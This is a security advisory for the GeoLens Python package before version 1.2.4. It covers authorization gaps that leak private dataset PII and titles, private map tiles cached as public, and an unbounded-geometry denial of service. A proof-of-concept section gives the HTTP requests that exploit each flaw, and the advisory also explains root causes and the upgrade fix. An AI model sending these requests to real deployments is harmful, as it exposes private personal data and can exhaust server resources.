highAug 19, 2026

GeoLens Authorization and Cache-Scope Flaws Disclose Private Dataset Data

Security Engagement Manager, SecureLayer7

GeoLens before 1.2.4 lets authenticated and anonymous users read private dataset metadata, tile data, and map titles they should never have access to, because several API endpoints skip re-checking…

Packagegeolens

Ecosystempip

Affected< 1.2.4

Fixed in1.2.4

GeoLens Authorization and Cache-Scope Flaws Disclose Private Dataset Data

The problem

Multiple GeoLens API endpoints authorized only the directly requested resource, then fetched a second, caller-influenced dataset without re-checking permissions. Sub-resource endpoints for record contacts, keywords, and distributions skipped dataset-level authorization entirely, so any authenticated user could read PII and distribution details for any private record by ID.

Private raster and vector tile responses were sent with Cache-Control: public, allowing shared CDN caches or the bundled reverse proxy to retain and replay private tile bytes to later unauthenticated requests. The map visibility-check endpoint also exposed private dataset titles to any editor, regardless of map ownership.

Proof of concept

A working proof-of-concept for this issue in geolens, with the exact payload below.

http

# 1. Private record sub-resource metadata disclosure (any authenticated user)
# Replace <record_id> with any record ID you can enumerate or guess.
GET /api/records/<record_id>/contacts/ HTTP/1.1
Host: geolens.example.com
Authorization: Bearer <your_editor_token>

# Same pattern works for /keywords/ and /distributions/
GET /api/records/<record_id>/distributions/ HTTP/1.1
Host: geolens.example.com
Authorization: Bearer <your_editor_token>

---

# 2. Unauthenticated STAC search DoS via unbounded intersects geometry
# POST /search had no size cap on the intersects GeoJSON body.
POST /api/stac/search HTTP/1.1
Host: geolens.example.com
Content-Type: application/json

{
  "intersects": {
    "type": "Polygon",
    "coordinates": [[
      [<10_000+ coordinate pairs here to exhaust CPU/memory>
      ]
    ]]
  }
}

---

# 3. Private dataset title enumeration via map visibility endpoint (any editor)
GET /api/maps/<target_map_id>/visibility/ HTTP/1.1
Host: geolens.example.com
Authorization: Bearer <your_editor_token>

The root cause across all authorization flaws is CWE-863 / CWE-285: endpoints validated the URL-named resource (record, map) but never re-checked whether the caller had read access to the backing dataset reached through that resource's relationships. The patch adds explicit dataset-level permission checks at each sub-resource handler and at the map visibility endpoint before any data is returned.

The tile caching bug (CWE-524) was a missing Cache-Control: private header on tile responses for non-public datasets. The fix gates the header value on dataset visibility at response time.

The STAC DoS (CWE-400) existed because POST /search had no geometry-size limit while the GET sibling did. The patch adds a coordinate-count or byte-budget cap to the POST body parser, matching the GET constraint.

The fix

Upgrade to GeoLens 1.2.4. No configuration changes are required for the authorization and cache fixes. On public, TLS-terminated deployments, additionally set ENVIRONMENT=production in your .env to enforce Secure session cookies and suppress /docs exposure.

There is no workaround for the authorization and caching flaws; upgrading is the only complete remediation.

Reporter not attributed.

References: [1][2][3][4][5]

Related research